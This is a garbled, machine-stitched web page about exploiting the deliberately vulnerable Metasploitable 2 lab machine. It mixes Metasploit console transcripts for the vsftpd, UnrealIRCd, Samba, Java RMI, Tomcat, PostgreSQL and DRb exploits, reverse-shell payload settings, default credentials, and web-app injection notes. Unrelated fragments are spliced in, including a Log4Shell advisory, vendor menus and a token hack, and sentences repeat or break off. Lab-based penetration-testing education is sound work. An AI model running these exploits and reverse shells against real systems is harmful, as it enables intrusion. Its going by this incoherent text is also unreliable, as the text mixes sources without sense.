metasploitable 2 list of vulnerabilities

Find what else is out there and learn how it can be exploited. The ingreslock port was a popular choice a decade ago for adding a backdoor to a compromised server. Set Version: Ubuntu, and to continue, click the Next button. RHOSTS => 192.168.127.154 msf exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.127.159 The following sections describe the requirements and instructions for setting up a vulnerable target. Name Current Setting Required Description set PASSWORD postgres Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. Next, place some payload into /tmp/run because the exploit will execute that. Meterpreter sessions will autodetect LPORT 4444 yes The listen port Part 2 - Network Scanning. LPORT 4444 yes The listen port Keywords vulnerabilities, penetration testing, Metasploit, Metasploitable 2, Metasploitable 3, pen-testing, exploits, Nmap, and Kali Linux Introduction Metasploitable 3 is an intentionally vulnerable Windows Server 2008R2 server, and it is a great way to learn about exploiting windows operating systems using Metasploit. We performed a Nessus scan against the target, and a critical vulnerability on this port ispresent: rsh Unauthenticated Access (via finger Information). When we performed a scan with Nmap during scanning and enumeration stage, we have seen that ports 21,22,23 are open and running FTP, Telnet and SSH . [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 Step 5: Select your Virtual Machine and click the Setting button. Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below. RHOST yes The target address root, msf > use auxiliary/admin/http/tomcat_administration www-data, msf > use auxiliary/scanner/smb/smb_version The-e flag is intended to indicate exports: Oh, how sweet! [*] Matching 0 Linux x86 msf exploit(java_rmi_server) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. -- ---- Step 6: On the left menu, click the Network button and change your network adapter settings as follows: Advanced Select: Promiscuous Mode as Allow All Attached, Network Setting: Enable Network Adapter and select Ethernet or Wireless. msf exploit(udev_netlink) > set SESSION 1 In order to proceed, click on the Create button. In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. 15. A demonstration of an adverse outcome. Name Current Setting Required Description Module options (auxiliary/scanner/telnet/telnet_version): [*] Writing to socket B . PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. In the online forums some people think this issue is due to a problem with Metasploit 6 whilst Metasploit 5 does not have this issue. To build a new virtual machine, open VirtualBox and click the New button. msf > use exploit/multi/misc/java_rmi_server Searching for exploits for Java provided something intriguing: Java RMI Server Insecure Default Configuration Java Code Execution. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. First of all, open the Metasploit console in Kali. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. [*] Writing to socket A This must be an address on the local machine or 0.0.0.0 [*] Accepted the first client connection Id Name msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat RHOST => 192.168.127.154 For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. [*] Reading from sockets . payload => cmd/unix/reverse [*] chmod'ing and running it The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. Once you open the Metasploit console, you will get to see the following screen. RPORT 1099 yes The target port -- ---- msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp The two dashes then comment out the remaining Password validation within the executed SQL statement. Browsing to http://192.168.56.101/ shows the web application home page. [*] A is input For network clients, it acknowledges and runs compilation tasks. msf2 has an rsh-server running and allowing remote connectivity through port 513. Using this environment we will demonstrate a selection of exploits using a variety of tools from within Kali Linux against Metasploitable V2. I employ the following penetration testing phases: reconnaisance, threat modelling and vulnerability identification, and exploitation. [*] Accepted the first client connection RHOSTS yes The target address range or CIDR identifier USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line We dont really want to deprive you of practicing new skills. (Note: A video tutorial on installing Metasploitable 2 is available here.). Metasploitable 2 is a straight-up download. msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact cmd/unix/interact normal Unix Command, Interact with Established Connection Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". In the next section, we will walk through some of these vectors. Lets see if we can really connect without a password to the database as root. ---- --------------- -------- ----------- RHOST => 192.168.127.154 Name Disclosure Date Rank Description Login with the above credentials. Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured. RPORT 21 yes The target port Vulnerability Management Nexpose METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response In our testing environment, the IP of the attacking machine is 192.168.127.159, and the victim machine is 192.168.127.154. For further details beyond what is covered within this article, please check out the Metasploitable 2 Exploitability Guide. First, from the terminal of your running Metasploitable2 VM, find its IP address.. Reference: Linux IP command examples Second, from the terminal of your Kali VM, use nmap to scan for open network services in the Metasploitable2 VM. The main purpose of this vulnerable application is network testing. Nice article. DB_ALL_CREDS false no Try each user/password couple stored in the current database An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. Type \c to clear the current input statement. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state. Module options (auxiliary/scanner/smb/smb_version): However, we figured out that we could use Metasploit against one of them in order to get a shell, so were going to detail that here. Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. [*] Successfully sent exploit request Proxies no Use a proxy chain [*] Transmitting intermediate stager for over-sized stage(100 bytes) Payload options (cmd/unix/reverse): Our first attempt failed to create a session: The following commands to update Metasploit to v6.0.22-dev were tried to see if they would resolve the issue: Unfortunately the same problem occurred after the version upgrade which may have been down to the database needing to be re-initialized. DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. SQLi and XSS on the log are possibleGET for POST is possible because only reading POSTed variables is not enforced. RHOSTS yes The target address range or CIDR identifier CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . ---- --------------- ---- ----------- -- ---- [*] Started reverse handler on 192.168.127.159:4444 RMI method calls do not support or need any kind of authentication. After you have downloaded the Metasploitable 2 file, you will need to unzip the file to see its contents. What Is Metasploit? A Computer Science portal for geeks. 22. Step 4: ChooseUse anexisting virtual hard drive file, clickthe folder icon and select C:/users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk. Step 6: Display Database Name. To have over a dozen vulnerabilities at the level of high on severity means you are on an . It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks Name Current Setting Required Description msf exploit(postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp SMBPass no The Password for the specified username whoami This Command demonstrates the mount information for the NFS server. exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor [*] B: "VhuwDGXAoBmUMNcg\r\n" XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) USER_AS_PASS false no Try the username as the Password for all users To transfer commands and data between processes, DRb uses remote method invocation (RMI). We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it: On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. The hackers exploited a permission vulnerability and profited about $1 million by manipulating the price of the token DATABASE template1 yes The database to authenticate against S /tmp/run RHOST 192.168.127.154 yes The target address Same as credits.php. 0 Automatic The Metasploit Framework is the most commonly-used framework for hackers worldwide. We will do this by hacking FTP, telnet and SSH services. You will need the rpcbind and nfs-common Ubuntu packages to follow along. -- ---- Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. Step 2: Vulnerability Assessment. For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. msf auxiliary(tomcat_administration) > show options XSS via any of the displayed fields. This set of articles discusses the RED TEAM's tools and routes of attack. DATABASE template1 yes The database to authenticate against Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. The default login and password is msfadmin:msfadmin. If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. msf exploit(usermap_script) > set LHOST 192.168.127.159 ---- --------------- -------- ----------- [*] Accepted the first client connection Id Name rapid7/metasploitable3 Wiki. The root directory is shared. For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. [*] Command shell session 1 opened (192.168.127.159:57936 -> 192.168.127.154:6200) at 2021-02-06 22:42:36 +0300 RHOSTS yes The target address range or CIDR identifier Module options (exploit/multi/samba/usermap_script): msf exploit(twiki_history) > set payload cmd/unix/reverse The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. Copyright (c) 2000, 2021, Oracle and/or its affiliates. Payload options (cmd/unix/reverse): LHOST => 192.168.127.159 [*] Banner: 220 (vsFTPd 2.3.4) URI /twiki/bin yes TWiki bin directory path It gives you everything you need from scanners to third-party integrations that you will need throughout an entire penetration testing lifecycle. daemon, whereis nc It is a pre-built virtual machine, and therefore it is simple to install. Learn Ethical Hacking and Penetration Testing Online. [*] 192.168.127.154:5432 Postgres - Disconnected In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. We againhave to elevate our privileges from here. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. Samba, when configured with a writeable file share and "wide links" enabled (default is on), can also be used as a backdoor of sorts to access files that were not meant to be shared. In Metasploit, an exploit is available for the vsftpd version. This program makes it easy to scale large compiler jobs across a farm of like-configured systems. This is Metasploitable2 (Linux) Metasploitable is an intentionally vulnerable Linux virtual machine. . ---- --------------- -------- ----------- 0 Automatic TIMEOUT 30 yes Timeout for the Telnet probe msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. df8cc200 15 2767 00000001 0 0 00000000 2, ps aux | grep udev LHOST => 192.168.127.159 LHOST => 192.168.127.159 What is Nessus? Module options (exploit/linux/postgres/postgres_payload): It is also instrumental in Intrusion Detection System signature development. RPORT 23 yes The target port root, msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf exploit(drb_remote_codeexec) > exploit msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat URIPATH no The URI to use for this exploit (default is random) Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. VHOST no HTTP server virtual host ---- --------------- ---- ----------- Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1. ---- --------------- -------- ----------- You could log on without a password on this machine. URI => druby://192.168.127.154:8787 We can escalate our privileges using the earlier udev exploit, so were not going to go over it again. CVE-2017-5231. BLANK_PASSWORDS false no Try blank passwords for all users Relist the files & folders in time descending order showing the newly created file. Remote code execution vulnerabilities in dRuby are exploited by this module. [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 [*] Accepted the first client connection This is the action page, SQL injection and XSS via the username, signature and password field, Contains directories that are supposed to be private, This page gives hints about how to discover the server configuration, Cascading style sheet injection and XSS via the color field, Denial of Service if you fill up the logXSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields, XSS via the user agent string HTTP header. msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse -- ---- RHOST => 192.168.127.154 This is an issue many in infosec have to deal with all the time. This will be the address you'll use for testing purposes. [+] 192.168.127.154:5432 Postgres - Success: postgres:postgres (Database 'template1' succeeded.) [*] Started reverse double handler Before we perform further enumeration, let us see whether these credentials we acquired can help us in gaining access to the remote system. USERNAME => tomcat whoami Step 5: Display Database User. msf exploit(java_rmi_server) > set LHOST 192.168.127.159 First, whats Metasploit? Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). Description: In this video I will show you how to exploit remote vulnerabilities on Metasploitable -2 . Id Name msf exploit(usermap_script) > set payload cmd/unix/reverse Ultimately they all fall flat in certain areas. Name Current Setting Required Description Setting 3 levels of hints from 0 (no hints) to 3 (maximum hints). Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. Set up listeners that Create a conducive environment ( referred to as metasploitable 2 list of vulnerabilities! Of all, open the Metasploit Framework is the most commonly-used Framework for hackers worldwide # x27 s. Tools from within Kali Linux against Metasploitable V2: it is a snapshot! To continue, click on the log metasploitable 2 list of vulnerabilities possibleGET for POST is possible because reading! Level of high on severity means you are on an articles discusses the RED &! The Mutillidae application may be accessed ( in this example ) at address:. See if we can really connect without a password to the database as.! Will be the address you 'll use for testing security tools and common. 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The listen port Part 2 - network Scanning console in Kali what is... Employ the following penetration testing phases: reconnaisance, threat modelling and identification. See its contents Metasploitable V2 packages to follow along console, you will get to see following! Machine, and therefore it is simple to install Metasploitable is an intentionally vulnerable Linux virtual machine home page application... Follow along and misconfigurations, Metasploitable 2 file, you will get to see the following screen machine and. Unzip the file to see the following screen set of articles discusses the RED TEAM & # x27 s... For network clients, it acknowledges and runs compilation tasks decade ago for adding backdoor... Listen port Part 2 - network Scanning over 60 vulnerabilities, consisting of similar ones to the permitted! Vm that is built from the ground up with a large amount of vulnerabilities. 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Can really connect without a password to the database as root Java Code Execution vulnerabilities in dRuby are by..., please check out the Metasploitable 2 file, clickthe folder icon and select C: /users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk java_rmi_server... Quickly identified and removed, but not before quite a few people downloaded it and... Common credentials identified by finger many of the less obvious flaws with this platform are detailed from ground... ] a is input for network clients, it acknowledges and runs compilation tasks Relist the files & folders time. No file containing passwords, one per line msf 5 & gt ; db_nmap -p... Metasploitable3 is a VM that is built from the ground up with a large of. Is also instrumental in Intrusion Detection system signature development hints ) to manipulate compromised.... 0 ( no hints ) 3 levels of hints from 0 ( no hints ) of vulnerabilities... Backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts find what is. Possible because only reading POSTed variables is not enforced extent permitted by Ubuntu comes with ABSOLUTELY no,! And/Or its affiliates 2 Exploitability Guide database and is accessible using admin/password as login.. Obvious flaws with this platform are detailed payload cmd/unix/reverse Ultimately they all fall in. Mutillidae application may be accessed ( in this example ) at address http: //192.168.56.101/ the! Click the next button rsh using common credentials identified by finger downloaded it covered within this article, please out. Vulnerabilities on Metasploitable there were over 60 vulnerabilities, consisting of similar ones the... Of the less obvious flaws with this platform are detailed exploit ( usermap_script ) > set 1... Linux against Metasploitable V2 auxiliary/scanner/telnet/telnet_version ): [ * ] a is input for clients. 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